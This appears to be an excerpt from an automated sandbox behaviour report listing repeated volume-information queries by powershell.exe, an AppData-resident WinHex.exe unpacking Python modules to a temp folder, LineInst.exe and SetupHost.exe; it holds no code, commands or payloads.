Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Queries volume information: C:\$Windows.~WS\Sources VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Queries volume information: C:\$Windows.~WS VolumeInformation	Jump to behavior
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Queries volume information: C:\Windows\Panther\DlTel.etl VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\_lzma.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
